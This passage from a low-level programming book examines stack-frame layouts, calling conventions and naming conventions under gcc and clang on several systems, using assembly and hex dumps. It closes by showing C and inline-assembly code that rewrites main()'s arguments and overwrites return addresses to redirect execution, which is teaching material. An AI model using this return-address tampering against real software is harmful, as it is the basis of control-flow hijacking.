    0x080484e3 <+3>:     push     %eax                          # Backup copy of EAX (  !  ) 
    0x080484e4 <+4>:    mov    %esp,%eax                    # __asm__("movl %esp, %eax\n\t 
    0x080484e6 <+6>:    add    $0x8,%eax                    # addl $8, %eax"); 
    0x080484e9 <+9>:     mov      -0x4(%ebp),%eax               # Restores EAX 
    0x080484ec <+12>:   add    $0x4,%esp 
    0x080484ef <+15>:   pop    %ebp 
    0x080484f0 <+16>:   ret 
 End of assembler dump. 
 (gdb) 

   As we can see, the compiler makes a backup copy of  EAX  before modifying it, and last restores its original 
value; these instructions frustrate the call to __ asm__() . The value returned by   getSP()       is not the expected 
one; it’s the value of  EAX  before  getSP () was called. The same applies to  getBP (). Moving functions  getSP  and 
 getBP  to a different assembly file still appears to be a good solution: 
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    Once again, the best way to correctly understand the output data is to read the complete assembly code, 
most of which has been omitted to save space. The stack is actually more “populated” than we can see at first 
sight. 

 First of all, we notice that the first line printed by  Dump()  contains three addresses:  SP  (0xbfb16e80),  BP  
(0xbfb16ec8), and the address (0xbfb16f70) of the paragraph to not be printed by  Dump() . It’s clear that the 
first paragraph holds the parameters of functions called by  f2() , so the stack frame of  f2()  should begin 
at the second paragraph. This time, unlike previous tests, for each frame the charts are compared with the 
related output data. 

     Test on Fedora (32-bit): Stack Frame of f2()       
 Parameters are repeated twice; this let us think that a copy was made. To distinguish parameters from 
their copies we must read the assembly code. The calling convention (System V i386 ABI) adopted by  gcc  
also applies to  clang , so we can identify function parameters, which must remain after the dynamic link. 
Furthermore, we know that for each parameter the compiler reserves four bytes, even if it has type  char  or 
 short int ; this confirms that the true parameters are those identified earlier. 

 This way, we discover that when  f2()  starts, it makes a copy of both parameters and nonvolatile 
registers  EBX ,  EDI , and  ESI . In addition, two paragraphs are reserved for the local variables  f2v1 ,  sp , and  bp , 
and for the temporary copies of registers. Copies are identified by a note (“# 4-byte Spill”). Figure  5-31  shows 
what the stack frame looks like.  

 A dump of the assembler code looks like this: 

   ..6E90 > C0 5F 7B B7  32 29 7A B7  EB 25 5F B7  29 00 00 00       EAX, EAX, EAX, EDI 
 ..6EA0 > 1F 00 00 00  C8 6E B1 BF  80 6E B1 BF  66 32 76 31       ESI, bp, sp, f2v1 
 ..6EB0 > 66 32 70 34  66 32 70 33  70 32 B1 31  70 32 00 00       p4, p3, p2, p1, ESI 
 ..6EC0 > 70 32 00 00  31 00 00 00  08 6F B1 BF  CB 87 04 08       EDI, EBX, BP_C, IP_C 
 ..6ED0 > 31 00 00 00  70 32 00 00  66 32 70 33  66 32 70 34       p1, p2, p3, p4 

        Test on Fedora (32-bit): Stack Frame of f1() 
 There is nothing interesting here. We note that local variables (and parameter copies) have addresses that 
are multiples of their size and are allocated in the same order as they are declared in the C source code. 
Figure  5-32  shows what the stack frame looks like.         

  Figure 5-31.    Stack frame of function  f2        

  Figure 5-32.    Stack frame of function  f1        
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 A dump of the assembler code looks like this: 

   ..6EE0 > 02 00 00 00  00 80 77 B7  1E 00 00 00  66 31 76 34       ...., ..., EAX, f1v4 
 ..6EF0 > 66 31 76 33  76 32 04 31  66 31 70 31  02 00 00 00       f1v3, f1v2, f1v1, p1, ESI 
 ..6F00 > 00 80 77 B7  00 00 00 00  38 6F B1 BF  61 88 04 08       EDI, EBX, BP_C, IP_C 
 ..6F10 > 66 31 70 31  E0 87 04 08  E0 6F B1 BF  A1 88 04 08       p1, main, ...., ..., 

        Test on Fedora (32-bit): Stack Frame of main() 
       The assembly code here reveals that in addition to the local variable  f0v1  (declared in the C source) there 
are two hidden variables intended to hold the return values of the functions called by  main() . Parameters are 
never used directly: at startup, each function makes a backup copy on the stack and then uses only that copy. 

 Unlike parameters (the only element that must stay within a dedicated paragraph), the local variables 
we define may coexist inside the same paragraph together with copies of parameters[ 23 ] and registers, and 
with return addresses ( BP_C  and  IP_C ), as we can see in Figure  5-33 .  

 A dump of the assembler code looks like this: 

   ..6F20 > 1F 00 00 00  0F 00 00 00  66 30 76 31  D4 6F B1 BF       EAX, EAX, f0v1, argv 
 ..6F30 > 02 00 00 00  00 00 00 00  00 00 00 00  45 75 5C B7       argc, 0, BP_C, IP_C 
 ..6F40 > 02 00 00 00  D4 6F B1 BF  E0 6F B1 BF  00 00 00 00       argc, argv, envp, 0 

        Test on Fedora (32-bit):  Calling and Naming Conventions      
 The compiler  clang  adopts the same calling convention as  gcc : System V i386 ABI. The naming convention 
is slightly different: the names of internal static variables are not followed by a numerical identifier, but 
they are preceded by the name of the function where they are defined. Therefore, if we put “ static   f0v1 ”, 
in the assembly code there will be  main.f0v1 ; but if compiling with  gcc , the name will be  f0v1.2526 . For 
everything else, the naming convention is the same as the one adopted by  gcc .   

  Figure 5-33.    Stack frame of function   main             

   23  Copies of parameters are hidden local variables; hence it’s no wonder that they coexist with local variables defined by 
us in the C source. This is not true in  gcc , as we have already seen.  
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     Test on  openSUSE      (64-bit) 
 This is our last test. It will be executed on a 64-bit GNU/Linux distribution, so we expect results similar to the 
first test (on Debian/x64). But now we’ll use another compiler ( clang ); it’s interesting to see if this compiler 
behaves like  gcc  or not. 

    g.$                   # Arch: x86_64, OS: openSUSE Leap 42.1 (64-bit), compiler: clang v. 3.7.0 
 g.$  clang stackDump.c -o stackDump  
 stackDump.c:19:4: warning: control reaches end of nonvoid function [-Wreturn-type] 
    }       
    ^ 
 stackDump.c:25:4: warning: control reaches end of nonvoid function [-Wreturn-type] 
    } 
    ^ 
 2 warnings generated. 
 g.$ 
 g.$  ./stackDump 15  

   Address of main() = 0x400990 
 Address of f1()   = 0x400900 
 Address of f2()   = 0x400840 

   f2: SP = (nil) 
     BP = (nil) 

   f2: warning: Dump aborted 
 g.$ 

    Once again, functions   getSP()  and  getBP()       need a closer look: 

   getSP: 
        pushq  %rbp 
        movq   %rsp, %rbp 
        #APP 
        movq %rsp, %rax 
        addq $16, %rax 
        #NO_APP 
         movq   -8(%rbp), %rax  
        popq   %rbp 
        ret 
 getBP: 
        pushq  %rbp 
        movq   %rsp, %rbp 
        #APP 
        movq (%rbp), %rax 
        #NO_APP 
         movq   -8(%rbp), %rax  
        popq   %rbp 
        ret 
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   This time, each “control reaches end of nonvoid function” warning adds one instruction ( movq 
-8(%rbp), %rax ) to compensate for the missing  return . The compiler, trying to fix the code, has altered the 
proper operation of the program. As this task was already done (see the tests on Fedora and Slackware), we’ll 
move  getSP()  and  getBP()  into a different assembly file ( f.s ) to prevent any interference.        

    .globl getSP 
 getSP: 
    movq %rsp, %rax 
    addq $8, %rax 
    ret 

   .globl getBP 
 getBP: 
    movq %rbp, %rax 
    ret 

    We can now recompile and execute again:[ 24 ] 

     

   24  Don’t forget to change  stackDump.c . Remember that function definitions must be replaced by their respective 
prototypes.  
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    Because this is a 64-bit GNU/Linux operating system for x86_64 processors, the calling convention is the 
same as used by  gcc  on Debian: System V AMD64 ABI. 

 But here frames show different contents; in fact, we know that the ABI gives compilers the freedom to 
arrange that part of the stack frame which is on the left (at a lower address) of the dynamic link. 

     Test on openSUSE (64-bit): Stack Frame of f2()       
 Figure  5-34  shows the stack frame of function  f2 . Since we’re working on a 64-bit operating system, each 
pointer is 64 bits in size, so the stack frame layout is somewhat similar to that we have found on Debian, but 
the parameter positions are different.  

 A dump of the assembler code looks like this: 

   ..4260 > 01 00 00 00  8B 7F 00 00 00  00 00 00 00  00 00 00            ...., ...., ...., EAX 
 ..4270 > 31 00 00 00  1E 00 00 00 A0  42 29 96 FD  7F 00 00            EAX, EAX, bp 
 ..4280 > 60 42 29 96  FD 7F 00 00 10  43 29 96 66  32 76 31            sp, ...., f2v1 
 ..4290 > 66 32 70 34  00 00 00 00 66  32 70 33 70  32 00 31            p4, p3, p2, ., p1 
 ..42A0 > E0 42 29 96  FD 7F 00 00 4E  09 40 00 00  00 00 00            BP_C, IP_C 

   Even on this operating system,  clang  allocates variables in the same order as they appear in function 
calls, with addresses that are multiples of their size ( gcc  on Debian behaves differently).  

     Test on openSUSE (64-bit): Stack Frame of f1() 
 Even this frame shows that local variables, copies of parameters, and copies of registers may coexist within 
the same paragraph (see Figure  5-35 ). Following the figure, the assembly code lets us know of two hidden 
variables; the first is 0x1D, which is the value returned by  printf()       .  

  Figure 5-34.    Stack frame of function  f2        
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        Test on openSUSE (64-bit): Stack Frame of main() 
 This frame also has two hidden variables (see the EAX fields  in      Figure  5-36 ) holding 0x1E (the value returned 
by  printf ) and 0x0F (the result of the conditional expression  (argc>1)? atoi(argv[1]) : MAX_ROWS; ).  

 A dump of the assembler code looks like this: 

   ..42F0 > 00 0A 40 00  1E 00 00 00  0F 00 00 00  66 30 76 31            ...., EAX, EAX, f0v1 
 ..4300 > F8 43 29 96  FD 7F 00 00  02 00 00 00  00 00 00 00            argv, argc, .... 
 ..4310 > 00 00 00 00  00 00 00 00  05 3B 4A 6A  8B 7F 00 00            BP_C, IP_C 

  Figure 5-35.    Stack frame of function  f1        

  Figure 5-36.    Stack frame of function main             

   ..42B0 > 0A 00 00 00  00 00 00 00  60 09 40 00  1D 00 00 00            ...., ...., ...., EAX 
 ..42C0 > 66 32 70 34  00 00 00 00  66 31 76 34  00 00 00 00            RSI, f1v4 
 ..42D0 > CD 64 29 96  66 31 76 33  76 32 A4 31  66 31 70 31            f1v3, f1v2, f1v1, p1 
 ..42E0 > 10 43 29 96  FD 7F 00 00  E1 09 40 00  00 00 00 00            BP_C, IP_C 
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        Test on openSUSE (64-bit): Code Optimization 
 In the optimized assembly code ( clang -O -S stackDump.c ),  atoi()  and  f1()  are moved inside  main()       : 

   main: 
         pushq  %rax                # Makes RSP aligned [ 25 ] 
         movl   $20, %eax           # MAX_ROWS 
         cmpl   $2, %edi            # argc == 2 ? 
         jl     .LBB3_2             # If argc < 2 doesn't call atoi() 
          movq   8(%rsi), %rdi        # 1st argument of strtol(): (char *)string 
          xorl   %esi, %esi           # 2nd argument of strtol(): (char **)endptr = NULL 
          movl   $10, %edx            # 3rd argument of strtol(): numeric base 
          callq  strtol               # The code of atoi() has been included inside main() 
 .LBB3_2: 
         movl   %eax, nRows(%rip)   # nRows = (argc>1)? atoi(argv[1]) : MAX_ROWS; 
         movl   $.L.str7, %edi      # 1st argument of printf(): "\nAddress of main() = %p\n" 
         movl   $main, %esi         # 2nd argument : address of main() 
         xorl   %eax, %eax          # No. of used SSE registers 
         callq  printf              # printf("\nAddress of main() = %p\n", main); 
          movl   $.L.str6, %edi       # 1st argument of printf(): "Address of f1() = %p\n" 
          movl   $f1, %esi            # 2nd argument : address of f1() 
          xorl   %eax, %eax           # No. of used SSE registers 
          callq  printf               # printf("Address of f1() = %p\n", f1);        
          xorl   %edi, %edi           # Sets EDI to zero [ 26 ] 
          xorl   %esi, %esi           # Sets ESI to zero 
          callq  f2                   # Calls f2() 
         xorl   %eax, %eax          # Sets EAX to zero, return value of main() 
         popq   %rdx 
         ret 

   For the remainder nothing changes: the dynamic chain vanishes because both the stack and  RBP  are 
used in a different way; in the stack we only see the copies of nonvolatile registers and function return 
addresses.  

   25  As required by the ABI, before starting  main() , the value of  RSP  is a multiple of 16. The instruction “ callq *%rax ” 
saves  RIP  onto the stack and subtracts 8 from  RSP . Now  RSP  is not a multiple of 16, so it is adjusted, before calling 
 strtol()  or  printf() , by “ pushq %rax ”. The opposite instruction is changed from “ popq %rax ” to “ popq %rdx ” to 
avoid deleting the return address of  main() , which was stored in  EAX .  
   26  Registers  EDI  and  ESI  should contain the first two parameters of  f2() , which are 0x31 and 0x3270 respectively; but 
the compiler notices that  f2()  doesn’t use them. For the same reason  EDX  and  RCX  are not even initialized. If  f2()  used 
parameters  p1  and  p3 ,  in main()  we would find the following: 
 callq    printf
movl     $49, %edi           # EDI = 0x31 
xorl     %esi, %esi          # ESI = 0 
movl     $862990950, %edx    # EDX = 0x33703266 ("f2p3") 
callq    f2  
The compiler stores in  EDX  the result of the expression f1v3-0x5FF00 and doesn’t initialize  RCX . Initializing  ESI  is 
useless.  
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     Test on openSUSE (64-bit):  Calling and Naming Conventions      
 For x86_64 GNU/Linux operating systems there is only one calling convention: System V AMD64 ABI. Its 
main characteristics are already known. But the naming convention is not unique;  clang  adopts a naming 
convention different from the one adopted by  gcc  (see the test on Fedora earlier): the name of each internal 
static variable is preceded by the name of the function defining the variable (for example,  main.f0v1 ), while 
 gcc  adds a number (such as  f0v1.2526 ). 

 Neither compiler changes the names of functions, global variables, or external static variables; all these 
names are the same as in C source code.          

     Other  Tests   
 All the tests carried out in the previous sections may be repeated on other operating systems. Some results 
are briefly shown here, to give more examples. 

 For example, if using  gcc  4.4.1 on Windows XP for x86 processors, we find that the default calling 
convention is  cdecl  and the naming convention requires one underscore character facing global names. 

 There are three calling conventions ( cdecl ,  stdcall , and  fastcall ), each of them bundled with a 
particular naming convention. For example, in  stdcall  function names are preceded by an underscore 
character and followed by the amount of memory space needed by parameters; so, if we write: 

   void __stdcall f3(short p1, int p2, long p3, float p4, double p5) 

   in the assembly code we’ll find that the function  f3  has the name  _f3@24 . Here the number 24 doesn’t 
represent the total size of parameters (2+4+4+4+8 bytes) but the requested amount of memory (4+4+4+4+8 
bytes); this is because  gcc  reserves 4 bytes (not 2) on the stack for variables of type  short int . This way, the 
calling convention may be deduced from the naming convention. It’s a fix to avoid calling a function using a 
wrong calling convention. 

 The stack frame layout is the same as the one we saw in the test on Slackware, except for the order of 
local variables, which is not detailed by calling conventions (compilers are therefore free to arrange this 
memory area). 

 On Windows 7 for x86_64 processors, the compiler (x86_64-w64-mingw32-gcc 4.7.0) pushes integral 
arguments in  RCX ,  RDX ,  R8 , and  R9  (any other argument is pushed onto the stack); in addition, function 
names are not preceded by an underscore. 

 This calling convention (Microsoft x64 ABI, a variant of the  fastcall  convention for x86_64 processors) 
is the only one used by compilers on Windows operating systems for x86_64 processors, hence the attributes 
 cdecl ,  stdcall , and  fastcall  are accepted but have no  effect  . 

 One last example: the compiler i686-apple-darwin11-llvm-gcc-4.2 on OS X 10.7 (64 bits) uses the 
same convention (System V AMD64 ABI) as  gcc  on Debian, but the stack frames look different; the naming 
convention, too, is different (function names begin with an underscore character).  

      Applications      
 The tests that have been done, even if limited to x86 architecture and using only two compilers, show a 
mixed picture: there are several calling and naming conventions, and what is more, they are differently 
combined. We have seen that calling conventions summarily define the layout of stack frames[ 27 ], letting 
compilers freely arrange local variables inside frames; results can vary if changing compiler or command-
line options. The data obtained from tests don’t have general application, as they are related to specific 
software environments; the following simple examples show how those data can be used. 

   27  See § 3.2.2 (“The Stack Frame”) of the ABI, on page    http://www.x86-64.org/documentation_folder/abi-0.99.pdf       

http://www.x86-64.org/documentation_folder/abi-0.99.pdf
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     Changing the Parameters and Return Address of main() 
 Taking advantage of the knowledge we’ve acquired, let us write some functions that allow us to alter the 
normal flow of the main program:

•     get_argc()  and  get_argv()  return the parameters  argc ,  argv  of  main()  by following 
the dynamic chain.  

•    set_argc()  and  set_argv()  modify  argc , and  argv   

•    set_main_return_address()  changes the return address of  main() .    

 These functions are not portable, because the position of parameters inside the stack frame of  main()  
as well as the existence of the dynamic chain rely on both the compiler and its options. If working on 
Debian/64-bit we can define them as follows:     

    int get_argc() 
    { 
    void **bp = (void **)getBP(); 

      while(*(bp=*bp));           /* Scans the dynamic chain */ 
    return ((int *)bp)[-5];     /* Extracts argc from the stack */ 
    } 

   void set_argc(int val) 
    { 
    void **bp = (void **)getBP(); 

      while(*(bp=*bp));           /* Scans the dynamic chain */ 
    ((int *)bp)[-5]=val;        /* Changes argc */ 
    } 

 char **get_argv() 
    { 
    void **bp = (void **)getBP(); 

      while(*(bp=*bp)); 
    return bp[-4]; 
    } 

   void set_argv(char **argv) 
    { 
    void **bp = (void **)getBP(); 

      while(*(bp=*bp)); 
    bp[-4]=argv; 
    } 

      void set_main_return_address(void **ret) 
    { 
    void **bp = (void **)getBP(); 

      while(*(bp=*bp)); 
    bp[1] = ret; 
    } 
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    To test them, we add to  f2()     (as discussed under “The Test Program” earlier in the chapter), after the 
call to  Dump() , the following lines: 

       /* Prints the current values of argc, argv and the string addressed by argv[0] */ 
    printf("f2: argc = %d\n", get_argc()); 
    printf("    argv = %p\n", get_argv()); 
    printf("    argv[0] = \"%s\"\n", get_argv()[0]); 

      /* Changes argv[] and consequently argc */ 
    static char *new_argv[]={"string1", "string2", "string3", "string4", NULL}; 
    set_argv(new_argv); 
    set_argc(sizeof(new_argv)/8-1); 

         /* Changes the return address of main() */ 
    set_main_return_address((void **)f3); 

    In addition, we add the following to  main() , after the call to  f1()  and before  return :     

      /* The function f2, called by f1, changed argc, argv[] */ 
    printf("main: argc=%d\n      argv=%p\n", argc, argv); 
    int i=argc; while(i--) printf("      argv[%d]=\"%s\"\n", i, argv[i]); 

   A new function, which can be defined as  void f3(void){ printf("\nf3=%p\n",f3); }  will be 
executed when the  ret  instruction at the end of  main()  copies to  RIP  the return address, which  set_main_
return_address()  has set equal to the address of  f3() : 

   main: 
    pushq %rbp 
 ... 
    movl $0, %eax 
    leave  /* Restores RSP, RBP */ 
    ret    /* Starts f3() */ 

   Now we can compile and execute the modified program: 

    g.$  ./stackDump 13  

   Address of main() = 0x400a48 
 Address of f1()   = 0x4009e5 
 Address of f2()   = 0x4008d5 

   f2: SP = 0x7ffceb988090 
     BP =  0x7ffceb9880d0       # The dynamic chain and main()'s return address are highlighted 

   Dump: 
 ..8090 > 00 00 00 00  00 00 00 00  66 32 70 34  00 00 00 00  ........f2p4.... 
 ..80A0 > 00 00 00 00  66 32 70 33  70 32 98 EB  31 7F 00 00  ....f2p3p2..1... 
 ..80B0 > 50 05 40 00  00 00 00 00  D0 80 98 EB  FC 7F 00 00  P.@............. 
 ..80C0 > 90 80 98 EB  FC 7F 00 00  00 00 00 00  66 32 76 31  ............f2v1 
 ..80D0 >  00 81 98 EB  FC 7F 00 00   46 0A 40 00  00 00 00 00  ........F.@..... 
 ..80E0 > 49 0C 40 00  00 00 00 00  20 3F BD B2  66 31 70 31  I.@..... ?..f1p1 
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 ..80F0 > 66 31 76 34  00 00 00 00  66 31 76 33  76 32 00 31  f1v4....f1v3v2.1 
 ..8100 >  30 81 98 EB  FC 7F 00 00   A7 0A 40 00  00 00 00 00  0.........@..... 
 ..8110 > 18 82 98 EB  FC 7F 00 00  50 05 40 00  02 00 00 00  ........P.@..... 
 ..8120 > 10 82 98 EB  FC 7F 00 00  66 30 76 31  00 00 00 00  ........f0v1....           main 
 ..8130 >  00 00 00 00  00 00 00 00  45 1B 85 B2  37 7F 00 00   ........E...7... 
 ..8140 > 00 00 00 00  00 00 00 00  18 82 98 EB  FC 7F 00 00  ................ 
 ..8150 > 00 00 00 00  02 00 00 00  48 0A 40 00  00 00 00 00  ........H.@..... 

   f2: argc = 2                   
     argv = 0x7ffceb988218                                     
     argv[0] = "./stackDump"                                      
 # f2() reads argc and argv from the stack, then prints them, together with argv[0]    
 main: argc=4 
       argv=0x601260  
       argv[3]="string4"                                       
       argv[2]="string3"                                       
       argv[1]="string2"                                      
       argv[0]="string1" 
 # main() continues execution, but its parameters were changed by set_argc() and set_argv().    
   f3=0x4008bb                                                   
 Segmentation fault                  # The return address of f3() found in the stack is null. 
 g.$                                                           

    The dynamic chain ends at address 0x7ffceb988130. At 0x7ffceb988138 there is the return address of 
 main() : 0x7f37b2851b45. This value is then overwritten by  set_main_return_address() , which sets it equal 
to the address of  f3() . 

 When  main()  ends, the  leave  instruction copies  RBP  (0x7ffceb988130) to  RSP ; then it also copies 8 bytes 
from the stack to  RBP  and adds 8 to  RSP . After that the  leave  instruction sets  RBP =0,  RSP =0x7ffceb988138. 
Finally, the  ret  instruction copies, from the stack to  RIP , the return address, which is the address of  f3() ; 
then 8 bytes are added to the Stack Pointer, whose value becomes 0x7ffceb988140. 

 The next instruction to be executed, whose address is stored in the  RIP  register, is  pushq %rbp ; this 
instruction (the first of function  f3 ) overwrites the return address of  main()  with NULL. Here is what the 
stack looks like: 

   ..80F0 > 66 31 76 34  00 00 00 00  66 31 76 33  76 32 00 31  f1v4....f1v3v2.1 
 ..8100 > 30 81 98 EB  FC 7F 00 00  F2 0A 40 00  00 00 00 00  0.........@..... 
 ..8110 > 60 12 60 00  00 00 00 00  50 05 40 00  04 00 00 00  ........P.@..... 
 ..8120 > 10 82 98 EB  FC 7F 00 00  66 30 76 31  FF FF FF FF  ........f0v1....       main 
 ..8130 > 00 00 00 00  00 00 00 00   00 00 00 00  00 00 00 00   ................ 
 ..8140 > 00 00 00 00  00 00 00 00  18 82 98 EB  FC 7F 00 00  ................ 
 ..8150 > 00 00 00 00  02 00 00 00  48 0A 40 00  00 00 00 00  ........H.@..... 

   It’s worth noting that  f3()  was not called by way of the  call f3  instruction, which pushes onto the stack 
the return address; hence at address 0x7ffceb988138 there is now  BP_C  (whose value is 0) instead of  IP_C . 

 When  f3()  ends, its last instruction ( ret ) loads into the  RIP  register the 8 bytes following  BP_C , which 
are the 8 null bytes at address 0x7ffceb988140; this causes a segmentation fault. We can fix it by adding 
 exit (0) at the bottom of  f3()     . 
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      Infinite Recursion   
 Let us modify the function  f3  so that it prints the activation record of  main() , and, when  f3()  ends, it is 
executed again (indefinitely): 

    extern void f3(void);                            /* Prototype */ 
 __asm__( 
         ".M0: .string \"f3: SP=%p, f3 = %p\"\n"  /* Format string of printf() */ 
         "f3:\n"                                  /* Here f3() begins */ 

           "movq %rsp, %rsi\n"                      /* Second argument of Dump() */ 
         "subq $48, %rsp\n"                       /* Protects the record of main() */ 
         "movq %rsp, %rdi\n"                      /* First argument of Dump() */ 
         "call Dump\n" 

           "movq $f3, %rdx\n"                       /* Third argument of printf() */ 
         "movq %rsp, %rsi\n"                      /* Second argument of printf() */ 
         "movq $.M0, %rdi\n"                      /* First argument of printf() */ 
         "movl $0, %eax\n"                        /* Number of used SSE registers */ 
         "call printf\n" 

           "call getchar\n" 

           "addq $40,%rsp\n"                        /* Restores RSP to point to f3() */ 
         "ret\n"                                  /* Executes f3() again */ 
        ); 

    The instruction  subq $48, %rsp  prepares the first argument of  Dump()  and moves the stack pointer 
back by three paragraphs so that the stack frames of the functions called by  f3()  don’t overwrite that of 
 main() . Since even  f3()  doesn’t overwrite the stack frame of  main() , this frame remains unchanged; the call 
to  Dump()  reveals the overwriting of the return address of  main() , as well as of its parameters. Let us compile 
and execute: 

    g.$  gcc -o stackDump stackDump.c  
 stackDump.c: In function 'Dump': 
 stackDump.c:76:38: warning: cast from pointer to integer of different size 
 g.$  ./stackDump    13    

   Address of main() = 0x400ad7 
 Address of f1()   = 0x400a74 
 Address of f2()   = 0x400964 

   f2: SP = 0x7fff03ef0410 
     BP =  0x7fff03ef0450  

   Dump: 
 ..0410 > C2 00 00 00  00 00 00 00  66 32 70 34  00 00 00 00  ........f2p4.... 
 ..0420 > B0 04 EF 03  66 32 70 33  70 32 40 00  31 00 00 00  ....f2p3p2@.1... 
 ..0430 > 90 05 EF 03  FF 7F 00 00  50 04 EF 03  FF 7F 00 00  ........P....... 
 ..0440 > 10 04 EF 03  FF 7F 00 00  03 00 00 00  66 32 76 31  ............f2v1 
 ..0450 >  80 04 EF 03  FF 7F 00 00   D5 0A 40 00  00 00 00 00  ..........@..... 
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 ..0460 > F9 0C 40 00  00 00 00 00  A0 05 F1 58  66 31 70 31  ..@........Xf1p1 
 ..0470 > 66 31 76 34  00 00 00 00  66 31 76 33  76 32 00 31  f1v4....f1v3v2.1 
 ..0480 >  B0 04 EF 03  FF 7F 00 00   36 0B 40 00  00 00 00 00  ........6.@..... 
 ..0490 > 98 05 EF 03  FF 7F 00 00  A0 05 40 00  02 00 00 00  ..........@..... 
 ..04A0 > 90 05 EF 03  FF 7F 00 00  66 30 76 31  00 00 00 00  ........f0v1....     main 
 ..04B0 >  00 00 00 00  00 00 00 00  AD 9E BA 58  68 7F 00 00   ...........Xh... 
 ..04C0 > 00 00 00 00  00 00 00 00  98 05 EF 03  FF 7F 00 00  ................ 
 ..04D0 > 00 00 00 00  02 00 00 00  D7 0A 40 00  00 00 00 00  ..........@..... 

   f2:  argc = 2  
      argv = 0x7fff03ef0598  
     argv[0] = "./stackDump" 
 main:  argc=4  
        argv=0x601280  
       argv[3]="string4" 
       argv[2]="string3" 
       argv[1]="string2" 
       argv[0]="string1" 
 Dump: 
 ..0490 >  80 12 60 00  00 00 00 00   A0 05 40 00   04 00 00 00   ..`.......@..... 
 ..04A0 > 90 05 EF 03  FF 7F 00 00  66 30 76 31  FF FF FF FF  ........f0v1....  main 
 ..04B0 > 00 00 00 00  00 00 00 00   30 09 40 00  00 00 00 00   ........0.@..... 

   f3: SP=0x7fff03ef0490,  f3 = 0x400930  

    Now, if we press Enter,  f3()  is executed again because its penultimate instruction ( addq $40,%rsp ) 
makes  RSP  point to the address of  f3()  on the stack. Finally, the instruction  ret  copies this address from the 
stack to  RIP , and then executes the instruction pointed to by  RIP , which is the first instruction of  f3() : 

    Dump: 
 ..0490 > 80 12 60 00  00 00 00 00  A0 05 40 00  04 00 00 00  ..`.......@..... 
 ..04A0 > 90 05 EF 03  FF 7F 00 00  66 30 76 31  FF FF FF FF  ........f0v1.... 
 ..04B0 > 00 00 00 00  00 00 00 00  30 09 40 00  00 00 00 00  ........0.@..... 

   f3: SP=0x7fff03ef0490, f3 = 0x400930                  # Press ENTER to continue 
 Dump:     
 ..0490 > 80 12 60 00 00 00 00 00 A0 05 40 00 04 00 00 00  ..`.......@..... 
 ..04A0 > 90 05 EF 03 FF 7F 00 00 66 30 76 31 FF FF FF FF  ........f0v1.... 
 ..04B0 > 00 00 00 00 00 00 00 00 30 09 40 00 00 00 00 00  ........0.@..... 

   f3: SP=0x7fff03ef0490, f3 = 0x400930                  # Press ENTER to continue 
 ... 

    What we have done so far may be repeated elsewhere; for example, if we compile the same code with 
 gcc  on openSUSE we get the same results. But if we use  clang  (on openSUSE or Debian), functions  getBP()  
and  getSP()  have to be moved into a separate file (see “Test on Slackware (32-bit)” earlier in the chapter), or 
specifically rewritten: 

    extern unsigned char *getSP(void);  /* Prototype */ 
 __asm__( 
        "getSP:\n" 
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        "movq %rsp, %rax\n" 
        "addq $8, %rax\n" 
        "retq\n" 
        ); 

   extern unsigned char *getBP(void);  /* Prototype */ 
 __asm__( 
        "getBP:\n" 
        "movq %rbp, %rax\n" 
        "retq\n" 
        ); 

    In addition, the different parameter layout requires small changes in four functions: 

    int get_argc() 
    { 
    void **bp = (void **)getBP(); 

      while(*(bp=*bp)); 
    return ((int *)bp)[-2];    /* Before it was -5 */ 
    } 
   void set_argc(int val) 
    { 
    void **bp = (void **)getBP(); 

      while(*(bp=*bp)); 
    ((int *)bp)[-2]=val;       /* Before it was -5 */ 
    } 
 char **get_argv() 
    { 
    void **bp = (void **)getBP(); 
    while(*(bp=*bp)); 
    return bp[-2];             /* Before it was -4 */ 
    } 
      void set_argv(char **argv) 
    { 
    void **bp = (void **)getBP(); 
    while(*(bp=*bp)); 
    bp[-2]=argv;               /* Before it was -4 */ 
    } 

    Now it works (even on Debian): 

    g.$  clang -o stackDump stackDump.c                       # Arch: x86_64, compiler: clang v. 3.7 
 g.$  ./stackDump 13  

   Address of main() = 0x400c00 
 Address of f1()   = 0x400b70 
 Address of f2()   = 0x400a40 
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   f2: SP = 0x7fff7381b1d0 
     BP =  0x7fff7381b210  

   Dump: 
 ..B1D0 > 01 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ................ 
 ..B1E0 > 31 00 00 00  1E 00 00 00  10 B2 81 73  FF 7F 00 00  1..........s.... 
 ..B1F0 > D0 B1 81 73  FF 7F 00 00  90 B2 81 73  66 32 76 31  ...s.......sf2v1 
 ..B200 > 66 32 70 34  00 00 00 00  66 32 70 33  70 32 00 31  f2p4....f2p3p2.1 
 ..B210 >  50 B2 81 73  FF 7F 00 00   ED 0B 40 00  00 00 00 00  P..s......@..... 
 ..B220 > 0A 00 00 00  00 00 00 00  00 0C 40 00  1D 00 00 00  ..........@..... 
 ..B230 > 66 32 70 34  00 00 00 00  66 31 76 34  00 00 00 00  f2p4....f1v4.... 
 ..B240 > 18 C3 81 73  66 31 76 33  76 32 D9 31  66 31 70 31  ...sf1v3v2.1f1p1 
 ..B250 >  90 B2 81 73  FF 7F 00 00   80 0C 40 00  00 00 00 00  ...s......@..... 
 ..B260 > FF B0 F0 00  00 00 00 00  00 00 00 00  00 00 00 00  ................ 
 ..B270 > 1E 00 00 00  0D 00 00 00  C0 05 40 00  66 30 76 31  ..........@.f0v1 
 ..B280 > 78 B3 81 73  FF 7F 00 00  02 00 00 00  00 00 00 00  x..s............     main 
 ..B290 >  00 00 00 00  00 00 00 00   E5 0B 7F C3  A2 7F 00 00  ................ 

   f2: argc = 2 
     argv = 0x7fff7381b378 
     argv[0] = "./stackDump" 
 main: argc=4 
       argv=0x602060 
       argv[3]="string4" 
       argv[2]="string3" 
       argv[1]="string2" 
       argv[0]="string1" 
 Dump: 
 ..B270 > 1E 00 00 00  0D 00 00 00  FF FF FF FF  66 30 76 31 ............f0v1 
 ..B280 > 60 20 60 00  00 00 00 00  04 00 00 00  00 00 00 00 ` `............. 
 ..B290 > 00 00 00 00  00 00 00 00  CF 06 40 00  00 00 00 00 ..........@..... 

   f3: SP=0x7fff7381b270, f3 = 0x4006cf                              # Press ENTER to  continue   

         How to Change a Function’s Return  Address   
 This exercise is left to the reader. First add the lines of code shown here in  f1()  after the call to  f2() : 

    void f1(int p1) 
    { 
    char      f1v1=0x31;        /* "1"    */ 
    short int f1v2=0x3276;      /* "v2"   */ 
    int       f1v3=0x33763166;  /* "f1v3" */ 
    long int  f1v4=0x34763166;  /* "f1v4" */ 

      printf("Address of f1()  = %p\ n ", f1); 
    f2(f1v1, f1v2-6, f1v3-0x5FF00, f1v4-0x5FF00); 
     printf("skip\ n ");   
     printf("don't skip\ n ");   
 } 

